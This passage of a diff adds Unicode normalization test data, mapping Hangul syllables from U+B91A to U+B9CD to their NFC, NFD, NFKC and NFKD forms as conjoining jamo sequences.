+{ source: [0xB91A], NFC: [0xB91A], NFD: [0x1105, 0x116F, 0x11BD], NFKC: [0xB91A], NFKD: [0x1105, 0x116F, 0x11BD] },
+{ source: [0xB91B], NFC: [0xB91B], NFD: [0x1105, 0x116F, 0x11BE], NFKC: [0xB91B], NFKD: [0x1105, 0x116F, 0x11BE] },
+{ source: [0xB91C], NFC: [0xB91C], NFD: [0x1105, 0x116F, 0x11BF], NFKC: [0xB91C], NFKD: [0x1105, 0x116F, 0x11BF] },
+{ source: [0xB91D], NFC: [0xB91D], NFD: [0x1105, 0x116F, 0x11C0], NFKC: [0xB91D], NFKD: [0x1105, 0x116F, 0x11C0] },
+{ source: [0xB91E], NFC: [0xB91E], NFD: [0x1105, 0x116F, 0x11C1], NFKC: [0xB91E], NFKD: [0x1105, 0x116F, 0x11C1] },
+{ source: [0xB91F], NFC: [0xB91F], NFD: [0x1105, 0x116F, 0x11C2], NFKC: [0xB91F], NFKD: [0x1105, 0x116F, 0x11C2] },
+{ source: [0xB920], NFC: [0xB920], NFD: [0x1105, 0x1170], NFKC: [0xB920], NFKD: [0x1105, 0x1170] },
+{ source: [0xB921], NFC: [0xB921], NFD: [0x1105, 0x1170, 0x11A8], NFKC: [0xB921], NFKD: [0x1105, 0x1170, 0x11A8] },
+{ source: [0xB922], NFC: [0xB922], NFD: [0x1105, 0x1170, 0x11A9], NFKC: [0xB922], NFKD: [0x1105, 0x1170, 0x11A9] },
+{ source: [0xB923], NFC: [0xB923], NFD: [0x1105, 0x1170, 0x11AA], NFKC: [0xB923], NFKD: [0x1105, 0x1170, 0x11AA] },
+{ source: [0xB924], NFC: [0xB924], NFD: [0x1105, 0x1170, 0x11AB], NFKC: [0xB924], NFKD: [0x1105, 0x1170, 0x11AB] },
+{ source: [0xB925], NFC: [0xB925], NFD: [0x1105, 0x1170, 0x11AC], NFKC: [0xB925], NFKD: [0x1105, 0x1170, 0x11AC] },
+{ source: [0xB926], NFC: [0xB926], NFD: [0x1105, 0x1170, 0x11AD], NFKC: [0xB926], NFKD: [0x1105, 0x1170, 0x11AD] },
+{ source: [0xB927], NFC: [0xB927], NFD: [0x1105, 0x1170, 0x11AE], NFKC: [0xB927], NFKD: [0x1105, 0x1170, 0x11AE] },
+{ source: [0xB928], NFC: [0xB928], NFD: [0x1105, 0x1170, 0x11AF], NFKC: [0xB928], NFKD: [0x1105, 0x1170, 0x11AF] },
+{ source: [0xB929], NFC: [0xB929], NFD: [0x1105, 0x1170, 0x11B0], NFKC: [0xB929], NFKD: [0x1105, 0x1170, 0x11B0] },
+{ source: [0xB92A], NFC: [0xB92A], NFD: [0x1105, 0x1170, 0x11B1], NFKC: [0xB92A], NFKD: [0x1105, 0x1170, 0x11B1] },
+{ source: [0xB92B], NFC: [0xB92B], NFD: [0x1105, 0x1170, 0x11B2], NFKC: [0xB92B], NFKD: [0x1105, 0x1170, 0x11B2] },
+{ source: [0xB92C], NFC: [0xB92C], NFD: [0x1105, 0x1170, 0x11B3], NFKC: [0xB92C], NFKD: [0x1105, 0x1170, 0x11B3] },
+{ source: [0xB92D], NFC: [0xB92D], NFD: [0x1105, 0x1170, 0x11B4], NFKC: [0xB92D], NFKD: [0x1105, 0x1170, 0x11B4] },
+{ source: [0xB92E], NFC: [0xB92E], NFD: [0x1105, 0x1170, 0x11B5], NFKC: [0xB92E], NFKD: [0x1105, 0x1170, 0x11B5] },
+{ source: [0xB92F], NFC: [0xB92F], NFD: [0x1105, 0x1170, 0x11B6], NFKC: [0xB92F], NFKD: [0x1105, 0x1170, 0x11B6] },
+{ source: [0xB930], NFC: [0xB930], NFD: [0x1105, 0x1170, 0x11B7], NFKC: [0xB930], NFKD: [0x1105, 0x1170, 0x11B7] },
+{ source: [0xB931], NFC: [0xB931], NFD: [0x1105, 0x1170, 0x11B8], NFKC: [0xB931], NFKD: [0x1105, 0x1170, 0x11B8] },
+{ source: [0xB932], NFC: [0xB932], NFD: [0x1105, 0x1170, 0x11B9], NFKC: [0xB932], NFKD: [0x1105, 0x1170, 0x11B9] },
+{ source: [0xB933], NFC: [0xB933], NFD: [0x1105, 0x1170, 0x11BA], NFKC: [0xB933], NFKD: [0x1105, 0x1170, 0x11BA] },
+{ source: [0xB934], NFC: [0xB934], NFD: [0x1105, 0x1170, 0x11BB], NFKC: [0xB934], NFKD: [0x1105, 0x1170, 0x11BB] },
+{ source: [0xB935], NFC: [0xB935], NFD: [0x1105, 0x1170, 0x11BC], NFKC: [0xB935], NFKD: [0x1105, 0x1170, 0x11BC] },
+{ source: [0xB936], NFC: [0xB936], NFD: [0x1105, 0x1170, 0x11BD], NFKC: [0xB936], NFKD: [0x1105, 0x1170, 0x11BD] },
+{ source: [0xB937], NFC: [0xB937], NFD: [0x1105, 0x1170, 0x11BE], NFKC: [0xB937], NFKD: [0x1105, 0x1170, 0x11BE] },
+{ source: [0xB938], NFC: [0xB938], NFD: [0x1105, 0x1170, 0x11BF], NFKC: [0xB938], NFKD: [0x1105, 0x1170, 0x11BF] },
+{ source: [0xB939], NFC: [0xB939], NFD: [0x1105, 0x1170, 0x11C0], NFKC: [0xB939], NFKD: [0x1105, 0x1170, 0x11C0] },
+{ source: [0xB93A], NFC: [0xB93A], NFD: [0x1105, 0x1170, 0x11C1], NFKC: [0xB93A], NFKD: [0x1105, 0x1170, 0x11C1] },
+{ source: [0xB93B], NFC: [0xB93B], NFD: [0x1105, 0x1170, 0x11C2], NFKC: [0xB93B], NFKD: [0x1105, 0x1170, 0x11C2] },
+{ source: [0xB93C], NFC: [0xB93C], NFD: [0x1105, 0x1171], NFKC: [0xB93C], NFKD: [0x1105, 0x1171] },
+{ source: [0xB93D], NFC: [0xB93D], NFD: [0x1105, 0x1171, 0x11A8], NFKC: [0xB93D], NFKD: [0x1105, 0x1171, 0x11A8] },
+{ source: [0xB93E], NFC: [0xB93E], NFD: [0x1105, 0x1171, 0x11A9], NFKC: [0xB93E], NFKD: [0x1105, 0x1171, 0x11A9] },
+{ source: [0xB93F], NFC: [0xB93F], NFD: [0x1105, 0x1171, 0x11AA], NFKC: [0xB93F], NFKD: [0x1105, 0x1171, 0x11AA] },
+{ source: [0xB940], NFC: [0xB940], NFD: [0x1105, 0x1171, 0x11AB], NFKC: [0xB940], NFKD: [0x1105, 0x1171, 0x11AB] },
+{ source: [0xB941], NFC: [0xB941], NFD: [0x1105, 0x1171, 0x11AC], NFKC: [0xB941], NFKD: [0x1105, 0x1171, 0x11AC] },
+{ source: [0xB942], NFC: [0xB942], NFD: [0x1105, 0x1171, 0x11AD], NFKC: [0xB942], NFKD: [0x1105, 0x1171, 0x11AD] },
+{ source: [0xB943], NFC: [0xB943], NFD: [0x1105, 0x1171, 0x11AE], NFKC: [0xB943], NFKD: [0x1105, 0x1171, 0x11AE] },
+{ source: [0xB944], NFC: [0xB944], NFD: [0x1105, 0x1171, 0x11AF], NFKC: [0xB944], NFKD: [0x1105, 0x1171, 0x11AF] },
+{ source: [0xB945], NFC: [0xB945], NFD: [0x1105, 0x1171, 0x11B0], NFKC: [0xB945], NFKD: [0x1105, 0x1171, 0x11B0] },
+{ source: [0xB946], NFC: [0xB946], NFD: [0x1105, 0x1171, 0x11B1], NFKC: [0xB946], NFKD: [0x1105, 0x1171, 0x11B1] },
+{ source: [0xB947], NFC: [0xB947], NFD: [0x1105, 0x1171, 0x11B2], NFKC: [0xB947], NFKD: [0x1105, 0x1171, 0x11B2] },
+{ source: [0xB948], NFC: [0xB948], NFD: [0x1105, 0x1171, 0x11B3], NFKC: [0xB948], NFKD: [0x1105, 0x1171, 0x11B3] },
+{ source: [0xB949], NFC: [0xB949], NFD: [0x1105, 0x1171, 0x11B4], NFKC: [0xB949], NFKD: [0x1105, 0x1171, 0x11B4] },
+{ source: [0xB94A], NFC: [0xB94A], NFD: [0x1105, 0x1171, 0x11B5], NFKC: [0xB94A], NFKD: [0x1105, 0x1171, 0x11B5] },
+{ source: [0xB94B], NFC: [0xB94B], NFD: [0x1105, 0x1171, 0x11B6], NFKC: [0xB94B], NFKD: [0x1105, 0x1171, 0x11B6] },
+{ source: [0xB94C], NFC: [0xB94C], NFD: [0x1105, 0x1171, 0x11B7], NFKC: [0xB94C], NFKD: [0x1105, 0x1171, 0x11B7] },
+{ source: [0xB94D], NFC: [0xB94D], NFD: [0x1105, 0x1171, 0x11B8], NFKC: [0xB94D], NFKD: [0x1105, 0x1171, 0x11B8] },
+{ source: [0xB94E], NFC: [0xB94E], NFD: [0x1105, 0x1171, 0x11B9], NFKC: [0xB94E], NFKD: [0x1105, 0x1171, 0x11B9] },
+{ source: [0xB94F], NFC: [0xB94F], NFD: [0x1105, 0x1171, 0x11BA], NFKC: [0xB94F], NFKD: [0x1105, 0x1171, 0x11BA] },
+{ source: [0xB950], NFC: [0xB950], NFD: [0x1105, 0x1171, 0x11BB], NFKC: [0xB950], NFKD: [0x1105, 0x1171, 0x11BB] },
+{ source: [0xB951], NFC: [0xB951], NFD: [0x1105, 0x1171, 0x11BC], NFKC: [0xB951], NFKD: [0x1105, 0x1171, 0x11BC] },
+{ source: [0xB952], NFC: [0xB952], NFD: [0x1105, 0x1171, 0x11BD], NFKC: [0xB952], NFKD: [0x1105, 0x1171, 0x11BD] },
+{ source: [0xB953], NFC: [0xB953], NFD: [0x1105, 0x1171, 0x11BE], NFKC: [0xB953], NFKD: [0x1105, 0x1171, 0x11BE] },
+{ source: [0xB954], NFC: [0xB954], NFD: [0x1105, 0x1171, 0x11BF], NFKC: [0xB954], NFKD: [0x1105, 0x1171, 0x11BF] },
+{ source: [0xB955], NFC: [0xB955], NFD: [0x1105, 0x1171, 0x11C0], NFKC: [0xB955], NFKD: [0x1105, 0x1171, 0x11C0] },
+{ source: [0xB956], NFC: [0xB956], NFD: [0x1105, 0x1171, 0x11C1], NFKC: [0xB956], NFKD: [0x1105, 0x1171, 0x11C1] },
+{ source: [0xB957], NFC: [0xB957], NFD: [0x1105, 0x1171, 0x11C2], NFKC: [0xB957], NFKD: [0x1105, 0x1171, 0x11C2] },
+{ source: [0xB958], NFC: [0xB958], NFD: [0x1105, 0x1172], NFKC: [0xB958], NFKD: [0x1105, 0x1172] },
+{ source: [0xB959], NFC: [0xB959], NFD: [0x1105, 0x1172, 0x11A8], NFKC: [0xB959], NFKD: [0x1105, 0x1172, 0x11A8] },
+{ source: [0xB95A], NFC: [0xB95A], NFD: [0x1105, 0x1172, 0x11A9], NFKC: [0xB95A], NFKD: [0x1105, 0x1172, 0x11A9] },
+{ source: [0xB95B], NFC: [0xB95B], NFD: [0x1105, 0x1172, 0x11AA], NFKC: [0xB95B], NFKD: [0x1105, 0x1172, 0x11AA] },
+{ source: [0xB95C], NFC: [0xB95C], NFD: [0x1105, 0x1172, 0x11AB], NFKC: [0xB95C], NFKD: [0x1105, 0x1172, 0x11AB] },
+{ source: [0xB95D], NFC: [0xB95D], NFD: [0x1105, 0x1172, 0x11AC], NFKC: [0xB95D], NFKD: [0x1105, 0x1172, 0x11AC] },
+{ source: [0xB95E], NFC: [0xB95E], NFD: [0x1105, 0x1172, 0x11AD], NFKC: [0xB95E], NFKD: [0x1105, 0x1172, 0x11AD] },
+{ source: [0xB95F], NFC: [0xB95F], NFD: [0x1105, 0x1172, 0x11AE], NFKC: [0xB95F], NFKD: [0x1105, 0x1172, 0x11AE] },
+{ source: [0xB960], NFC: [0xB960], NFD: [0x1105, 0x1172, 0x11AF], NFKC: [0xB960], NFKD: [0x1105, 0x1172, 0x11AF] },
+{ source: [0xB961], NFC: [0xB961], NFD: [0x1105, 0x1172, 0x11B0], NFKC: [0xB961], NFKD: [0x1105, 0x1172, 0x11B0] },
+{ source: [0xB962], NFC: [0xB962], NFD: [0x1105, 0x1172, 0x11B1], NFKC: [0xB962], NFKD: [0x1105, 0x1172, 0x11B1] },
+{ source: [0xB963], NFC: [0xB963], NFD: [0x1105, 0x1172, 0x11B2], NFKC: [0xB963], NFKD: [0x1105, 0x1172, 0x11B2] },
+{ source: [0xB964], NFC: [0xB964], NFD: [0x1105, 0x1172, 0x11B3], NFKC: [0xB964], NFKD: [0x1105, 0x1172, 0x11B3] },
+{ source: [0xB965], NFC: [0xB965], NFD: [0x1105, 0x1172, 0x11B4], NFKC: [0xB965], NFKD: [0x1105, 0x1172, 0x11B4] },
+{ source: [0xB966], NFC: [0xB966], NFD: [0x1105, 0x1172, 0x11B5], NFKC: [0xB966], NFKD: [0x1105, 0x1172, 0x11B5] },
+{ source: [0xB967], NFC: [0xB967], NFD: [0x1105, 0x1172, 0x11B6], NFKC: [0xB967], NFKD: [0x1105, 0x1172, 0x11B6] },
+{ source: [0xB968], NFC: [0xB968], NFD: [0x1105, 0x1172, 0x11B7], NFKC: [0xB968], NFKD: [0x1105, 0x1172, 0x11B7] },
+{ source: [0xB969], NFC: [0xB969], NFD: [0x1105, 0x1172, 0x11B8], NFKC: [0xB969], NFKD: [0x1105, 0x1172, 0x11B8] },
+{ source: [0xB96A], NFC: [0xB96A], NFD: [0x1105, 0x1172, 0x11B9], NFKC: [0xB96A], NFKD: [0x1105, 0x1172, 0x11B9] },
+{ source: [0xB96B], NFC: [0xB96B], NFD: [0x1105, 0x1172, 0x11BA], NFKC: [0xB96B], NFKD: [0x1105, 0x1172, 0x11BA] },
+{ source: [0xB96C], NFC: [0xB96C], NFD: [0x1105, 0x1172, 0x11BB], NFKC: [0xB96C], NFKD: [0x1105, 0x1172, 0x11BB] },
+{ source: [0xB96D], NFC: [0xB96D], NFD: [0x1105, 0x1172, 0x11BC], NFKC: [0xB96D], NFKD: [0x1105, 0x1172, 0x11BC] },
+{ source: [0xB96E], NFC: [0xB96E], NFD: [0x1105, 0x1172, 0x11BD], NFKC: [0xB96E], NFKD: [0x1105, 0x1172, 0x11BD] },
+{ source: [0xB96F], NFC: [0xB96F], NFD: [0x1105, 0x1172, 0x11BE], NFKC: [0xB96F], NFKD: [0x1105, 0x1172, 0x11BE] },
+{ source: [0xB970], NFC: [0xB970], NFD: [0x1105, 0x1172, 0x11BF], NFKC: [0xB970], NFKD: [0x1105, 0x1172, 0x11BF] },
+{ source: [0xB971], NFC: [0xB971], NFD: [0x1105, 0x1172, 0x11C0], NFKC: [0xB971], NFKD: [0x1105, 0x1172, 0x11C0] },
+{ source: [0xB972], NFC: [0xB972], NFD: [0x1105, 0x1172, 0x11C1], NFKC: [0xB972], NFKD: [0x1105, 0x1172, 0x11C1] },
+{ source: [0xB973], NFC: [0xB973], NFD: [0x1105, 0x1172, 0x11C2], NFKC: [0xB973], NFKD: [0x1105, 0x1172, 0x11C2] },
+{ source: [0xB974], NFC: [0xB974], NFD: [0x1105, 0x1173], NFKC: [0xB974], NFKD: [0x1105, 0x1173] },
+{ source: [0xB975], NFC: [0xB975], NFD: [0x1105, 0x1173, 0x11A8], NFKC: [0xB975], NFKD: [0x1105, 0x1173, 0x11A8] },
+{ source: [0xB976], NFC: [0xB976], NFD: [0x1105, 0x1173, 0x11A9], NFKC: [0xB976], NFKD: [0x1105, 0x1173, 0x11A9] },
+{ source: [0xB977], NFC: [0xB977], NFD: [0x1105, 0x1173, 0x11AA], NFKC: [0xB977], NFKD: [0x1105, 0x1173, 0x11AA] },
+{ source: [0xB978], NFC: [0xB978], NFD: [0x1105, 0x1173, 0x11AB], NFKC: [0xB978], NFKD: [0x1105, 0x1173, 0x11AB] },
+{ source: [0xB979], NFC: [0xB979], NFD: [0x1105, 0x1173, 0x11AC], NFKC: [0xB979], NFKD: [0x1105, 0x1173, 0x11AC] },
+{ source: [0xB97A], NFC: [0xB97A], NFD: [0x1105, 0x1173, 0x11AD], NFKC: [0xB97A], NFKD: [0x1105, 0x1173, 0x11AD] },
+{ source: [0xB97B], NFC: [0xB97B], NFD: [0x1105, 0x1173, 0x11AE], NFKC: [0xB97B], NFKD: [0x1105, 0x1173, 0x11AE] },
+{ source: [0xB97C], NFC: [0xB97C], NFD: [0x1105, 0x1173, 0x11AF], NFKC: [0xB97C], NFKD: [0x1105, 0x1173, 0x11AF] },
+{ source: [0xB97D], NFC: [0xB97D], NFD: [0x1105, 0x1173, 0x11B0], NFKC: [0xB97D], NFKD: [0x1105, 0x1173, 0x11B0] },
+{ source: [0xB97E], NFC: [0xB97E], NFD: [0x1105, 0x1173, 0x11B1], NFKC: [0xB97E], NFKD: [0x1105, 0x1173, 0x11B1] },
+{ source: [0xB97F], NFC: [0xB97F], NFD: [0x1105, 0x1173, 0x11B2], NFKC: [0xB97F], NFKD: [0x1105, 0x1173, 0x11B2] },
+{ source: [0xB980], NFC: [0xB980], NFD: [0x1105, 0x1173, 0x11B3], NFKC: [0xB980], NFKD: [0x1105, 0x1173, 0x11B3] },
+{ source: [0xB981], NFC: [0xB981], NFD: [0x1105, 0x1173, 0x11B4], NFKC: [0xB981], NFKD: [0x1105, 0x1173, 0x11B4] },
+{ source: [0xB982], NFC: [0xB982], NFD: [0x1105, 0x1173, 0x11B5], NFKC: [0xB982], NFKD: [0x1105, 0x1173, 0x11B5] },
+{ source: [0xB983], NFC: [0xB983], NFD: [0x1105, 0x1173, 0x11B6], NFKC: [0xB983], NFKD: [0x1105, 0x1173, 0x11B6] },
+{ source: [0xB984], NFC: [0xB984], NFD: [0x1105, 0x1173, 0x11B7], NFKC: [0xB984], NFKD: [0x1105, 0x1173, 0x11B7] },
+{ source: [0xB985], NFC: [0xB985], NFD: [0x1105, 0x1173, 0x11B8], NFKC: [0xB985], NFKD: [0x1105, 0x1173, 0x11B8] },
+{ source: [0xB986], NFC: [0xB986], NFD: [0x1105, 0x1173, 0x11B9], NFKC: [0xB986], NFKD: [0x1105, 0x1173, 0x11B9] },
+{ source: [0xB987], NFC: [0xB987], NFD: [0x1105, 0x1173, 0x11BA], NFKC: [0xB987], NFKD: [0x1105, 0x1173, 0x11BA] },
+{ source: [0xB988], NFC: [0xB988], NFD: [0x1105, 0x1173, 0x11BB], NFKC: [0xB988], NFKD: [0x1105, 0x1173, 0x11BB] },
+{ source: [0xB989], NFC: [0xB989], NFD: [0x1105, 0x1173, 0x11BC], NFKC: [0xB989], NFKD: [0x1105, 0x1173, 0x11BC] },
+{ source: [0xB98A], NFC: [0xB98A], NFD: [0x1105, 0x1173, 0x11BD], NFKC: [0xB98A], NFKD: [0x1105, 0x1173, 0x11BD] },
+{ source: [0xB98B], NFC: [0xB98B], NFD: [0x1105, 0x1173, 0x11BE], NFKC: [0xB98B], NFKD: [0x1105, 0x1173, 0x11BE] },
+{ source: [0xB98C], NFC: [0xB98C], NFD: [0x1105, 0x1173, 0x11BF], NFKC: [0xB98C], NFKD: [0x1105, 0x1173, 0x11BF] },
+{ source: [0xB98D], NFC: [0xB98D], NFD: [0x1105, 0x1173, 0x11C0], NFKC: [0xB98D], NFKD: [0x1105, 0x1173, 0x11C0] },
+{ source: [0xB98E], NFC: [0xB98E], NFD: [0x1105, 0x1173, 0x11C1], NFKC: [0xB98E], NFKD: [0x1105, 0x1173, 0x11C1] },
+{ source: [0xB98F], NFC: [0xB98F], NFD: [0x1105, 0x1173, 0x11C2], NFKC: [0xB98F], NFKD: [0x1105, 0x1173, 0x11C2] },
+{ source: [0xB990], NFC: [0xB990], NFD: [0x1105, 0x1174], NFKC: [0xB990], NFKD: [0x1105, 0x1174] },
+{ source: [0xB991], NFC: [0xB991], NFD: [0x1105, 0x1174, 0x11A8], NFKC: [0xB991], NFKD: [0x1105, 0x1174, 0x11A8] },
+{ source: [0xB992], NFC: [0xB992], NFD: [0x1105, 0x1174, 0x11A9], NFKC: [0xB992], NFKD: [0x1105, 0x1174, 0x11A9] },
+{ source: [0xB993], NFC: [0xB993], NFD: [0x1105, 0x1174, 0x11AA], NFKC: [0xB993], NFKD: [0x1105, 0x1174, 0x11AA] },
+{ source: [0xB994], NFC: [0xB994], NFD: [0x1105, 0x1174, 0x11AB], NFKC: [0xB994], NFKD: [0x1105, 0x1174, 0x11AB] },
+{ source: [0xB995], NFC: [0xB995], NFD: [0x1105, 0x1174, 0x11AC], NFKC: [0xB995], NFKD: [0x1105, 0x1174, 0x11AC] },
+{ source: [0xB996], NFC: [0xB996], NFD: [0x1105, 0x1174, 0x11AD], NFKC: [0xB996], NFKD: [0x1105, 0x1174, 0x11AD] },
+{ source: [0xB997], NFC: [0xB997], NFD: [0x1105, 0x1174, 0x11AE], NFKC: [0xB997], NFKD: [0x1105, 0x1174, 0x11AE] },
+{ source: [0xB998], NFC: [0xB998], NFD: [0x1105, 0x1174, 0x11AF], NFKC: [0xB998], NFKD: [0x1105, 0x1174, 0x11AF] },
+{ source: [0xB999], NFC: [0xB999], NFD: [0x1105, 0x1174, 0x11B0], NFKC: [0xB999], NFKD: [0x1105, 0x1174, 0x11B0] },
+{ source: [0xB99A], NFC: [0xB99A], NFD: [0x1105, 0x1174, 0x11B1], NFKC: [0xB99A], NFKD: [0x1105, 0x1174, 0x11B1] },
+{ source: [0xB99B], NFC: [0xB99B], NFD: [0x1105, 0x1174, 0x11B2], NFKC: [0xB99B], NFKD: [0x1105, 0x1174, 0x11B2] },
+{ source: [0xB99C], NFC: [0xB99C], NFD: [0x1105, 0x1174, 0x11B3], NFKC: [0xB99C], NFKD: [0x1105, 0x1174, 0x11B3] },
+{ source: [0xB99D], NFC: [0xB99D], NFD: [0x1105, 0x1174, 0x11B4], NFKC: [0xB99D], NFKD: [0x1105, 0x1174, 0x11B4] },
+{ source: [0xB99E], NFC: [0xB99E], NFD: [0x1105, 0x1174, 0x11B5], NFKC: [0xB99E], NFKD: [0x1105, 0x1174, 0x11B5] },
+{ source: [0xB99F], NFC: [0xB99F], NFD: [0x1105, 0x1174, 0x11B6], NFKC: [0xB99F], NFKD: [0x1105, 0x1174, 0x11B6] },
+{ source: [0xB9A0], NFC: [0xB9A0], NFD: [0x1105, 0x1174, 0x11B7], NFKC: [0xB9A0], NFKD: [0x1105, 0x1174, 0x11B7] },
+{ source: [0xB9A1], NFC: [0xB9A1], NFD: [0x1105, 0x1174, 0x11B8], NFKC: [0xB9A1], NFKD: [0x1105, 0x1174, 0x11B8] },
+{ source: [0xB9A2], NFC: [0xB9A2], NFD: [0x1105, 0x1174, 0x11B9], NFKC: [0xB9A2], NFKD: [0x1105, 0x1174, 0x11B9] },
+{ source: [0xB9A3], NFC: [0xB9A3], NFD: [0x1105, 0x1174, 0x11BA], NFKC: [0xB9A3], NFKD: [0x1105, 0x1174, 0x11BA] },
+{ source: [0xB9A4], NFC: [0xB9A4], NFD: [0x1105, 0x1174, 0x11BB], NFKC: [0xB9A4], NFKD: [0x1105, 0x1174, 0x11BB] },
+{ source: [0xB9A5], NFC: [0xB9A5], NFD: [0x1105, 0x1174, 0x11BC], NFKC: [0xB9A5], NFKD: [0x1105, 0x1174, 0x11BC] },
+{ source: [0xB9A6], NFC: [0xB9A6], NFD: [0x1105, 0x1174, 0x11BD], NFKC: [0xB9A6], NFKD: [0x1105, 0x1174, 0x11BD] },
+{ source: [0xB9A7], NFC: [0xB9A7], NFD: [0x1105, 0x1174, 0x11BE], NFKC: [0xB9A7], NFKD: [0x1105, 0x1174, 0x11BE] },
+{ source: [0xB9A8], NFC: [0xB9A8], NFD: [0x1105, 0x1174, 0x11BF], NFKC: [0xB9A8], NFKD: [0x1105, 0x1174, 0x11BF] },
+{ source: [0xB9A9], NFC: [0xB9A9], NFD: [0x1105, 0x1174, 0x11C0], NFKC: [0xB9A9], NFKD: [0x1105, 0x1174, 0x11C0] },
+{ source: [0xB9AA], NFC: [0xB9AA], NFD: [0x1105, 0x1174, 0x11C1], NFKC: [0xB9AA], NFKD: [0x1105, 0x1174, 0x11C1] },
+{ source: [0xB9AB], NFC: [0xB9AB], NFD: [0x1105, 0x1174, 0x11C2], NFKC: [0xB9AB], NFKD: [0x1105, 0x1174, 0x11C2] },
+{ source: [0xB9AC], NFC: [0xB9AC], NFD: [0x1105, 0x1175], NFKC: [0xB9AC], NFKD: [0x1105, 0x1175] },
+{ source: [0xB9AD], NFC: [0xB9AD], NFD: [0x1105, 0x1175, 0x11A8], NFKC: [0xB9AD], NFKD: [0x1105, 0x1175, 0x11A8] },
+{ source: [0xB9AE], NFC: [0xB9AE], NFD: [0x1105, 0x1175, 0x11A9], NFKC: [0xB9AE], NFKD: [0x1105, 0x1175, 0x11A9] },
+{ source: [0xB9AF], NFC: [0xB9AF], NFD: [0x1105, 0x1175, 0x11AA], NFKC: [0xB9AF], NFKD: [0x1105, 0x1175, 0x11AA] },
+{ source: [0xB9B0], NFC: [0xB9B0], NFD: [0x1105, 0x1175, 0x11AB], NFKC: [0xB9B0], NFKD: [0x1105, 0x1175, 0x11AB] },
+{ source: [0xB9B1], NFC: [0xB9B1], NFD: [0x1105, 0x1175, 0x11AC], NFKC: [0xB9B1], NFKD: [0x1105, 0x1175, 0x11AC] },
+{ source: [0xB9B2], NFC: [0xB9B2], NFD: [0x1105, 0x1175, 0x11AD], NFKC: [0xB9B2], NFKD: [0x1105, 0x1175, 0x11AD] },
+{ source: [0xB9B3], NFC: [0xB9B3], NFD: [0x1105, 0x1175, 0x11AE], NFKC: [0xB9B3], NFKD: [0x1105, 0x1175, 0x11AE] },
+{ source: [0xB9B4], NFC: [0xB9B4], NFD: [0x1105, 0x1175, 0x11AF], NFKC: [0xB9B4], NFKD: [0x1105, 0x1175, 0x11AF] },
+{ source: [0xB9B5], NFC: [0xB9B5], NFD: [0x1105, 0x1175, 0x11B0], NFKC: [0xB9B5], NFKD: [0x1105, 0x1175, 0x11B0] },
+{ source: [0xB9B6], NFC: [0xB9B6], NFD: [0x1105, 0x1175, 0x11B1], NFKC: [0xB9B6], NFKD: [0x1105, 0x1175, 0x11B1] },
+{ source: [0xB9B7], NFC: [0xB9B7], NFD: [0x1105, 0x1175, 0x11B2], NFKC: [0xB9B7], NFKD: [0x1105, 0x1175, 0x11B2] },
+{ source: [0xB9B8], NFC: [0xB9B8], NFD: [0x1105, 0x1175, 0x11B3], NFKC: [0xB9B8], NFKD: [0x1105, 0x1175, 0x11B3] },
+{ source: [0xB9B9], NFC: [0xB9B9], NFD: [0x1105, 0x1175, 0x11B4], NFKC: [0xB9B9], NFKD: [0x1105, 0x1175, 0x11B4] },
+{ source: [0xB9BA], NFC: [0xB9BA], NFD: [0x1105, 0x1175, 0x11B5], NFKC: [0xB9BA], NFKD: [0x1105, 0x1175, 0x11B5] },
+{ source: [0xB9BB], NFC: [0xB9BB], NFD: [0x1105, 0x1175, 0x11B6], NFKC: [0xB9BB], NFKD: [0x1105, 0x1175, 0x11B6] },
+{ source: [0xB9BC], NFC: [0xB9BC], NFD: [0x1105, 0x1175, 0x11B7], NFKC: [0xB9BC], NFKD: [0x1105, 0x1175, 0x11B7] },
+{ source: [0xB9BD], NFC: [0xB9BD], NFD: [0x1105, 0x1175, 0x11B8], NFKC: [0xB9BD], NFKD: [0x1105, 0x1175, 0x11B8] },
+{ source: [0xB9BE], NFC: [0xB9BE], NFD: [0x1105, 0x1175, 0x11B9], NFKC: [0xB9BE], NFKD: [0x1105, 0x1175, 0x11B9] },
+{ source: [0xB9BF], NFC: [0xB9BF], NFD: [0x1105, 0x1175, 0x11BA], NFKC: [0xB9BF], NFKD: [0x1105, 0x1175, 0x11BA] },
+{ source: [0xB9C0], NFC: [0xB9C0], NFD: [0x1105, 0x1175, 0x11BB], NFKC: [0xB9C0], NFKD: [0x1105, 0x1175, 0x11BB] },
+{ source: [0xB9C1], NFC: [0xB9C1], NFD: [0x1105, 0x1175, 0x11BC], NFKC: [0xB9C1], NFKD: [0x1105, 0x1175, 0x11BC] },
+{ source: [0xB9C2], NFC: [0xB9C2], NFD: [0x1105, 0x1175, 0x11BD], NFKC: [0xB9C2], NFKD: [0x1105, 0x1175, 0x11BD] },
+{ source: [0xB9C3], NFC: [0xB9C3], NFD: [0x1105, 0x1175, 0x11BE], NFKC: [0xB9C3], NFKD: [0x1105, 0x1175, 0x11BE] },
+{ source: [0xB9C4], NFC: [0xB9C4], NFD: [0x1105, 0x1175, 0x11BF], NFKC: [0xB9C4], NFKD: [0x1105, 0x1175, 0x11BF] },
+{ source: [0xB9C5], NFC: [0xB9C5], NFD: [0x1105, 0x1175, 0x11C0], NFKC: [0xB9C5], NFKD: [0x1105, 0x1175, 0x11C0] },
+{ source: [0xB9C6], NFC: [0xB9C6], NFD: [0x1105, 0x1175, 0x11C1], NFKC: [0xB9C6], NFKD: [0x1105, 0x1175, 0x11C1] },
+{ source: [0xB9C7], NFC: [0xB9C7], NFD: [0x1105, 0x1175, 0x11C2], NFKC: [0xB9C7], NFKD: [0x1105, 0x1175, 0x11C2] },
+{ source: [0xB9C8], NFC: [0xB9C8], NFD: [0x1106, 0x1161], NFKC: [0xB9C8], NFKD: [0x1106, 0x1161] },
+{ source: [0xB9C9], NFC: [0xB9C9], NFD: [0x1106, 0x1161, 0x11A8], NFKC: [0xB9C9], NFKD: [0x1106, 0x1161, 0x11A8] },
+{ source: [0xB9CA], NFC: [0xB9CA], NFD: [0x1106, 0x1161, 0x11A9], NFKC: [0xB9CA], NFKD: [0x1106, 0x1161, 0x11A9] },
+{ source: [0xB9CB], NFC: [0xB9CB], NFD: [0x1106, 0x1161, 0x11AA], NFKC: [0xB9CB], NFKD: [0x1106, 0x1161, 0x11AA] },
+{ source: [0xB9CC], NFC: [0xB9CC], NFD: [0x1106, 0x1161, 0x11AB], NFKC: [0xB9CC], NFKD: [0x1106, 0x1161, 0x11AB] },
+{ source: [0xB9CD], NFC: [0xB9CD], NFD: [0x1106, 0x1161, 0x11AC], NFKC: [0xB9CD], NFKD: [0x1106, 0x1161, 0x11AC] },
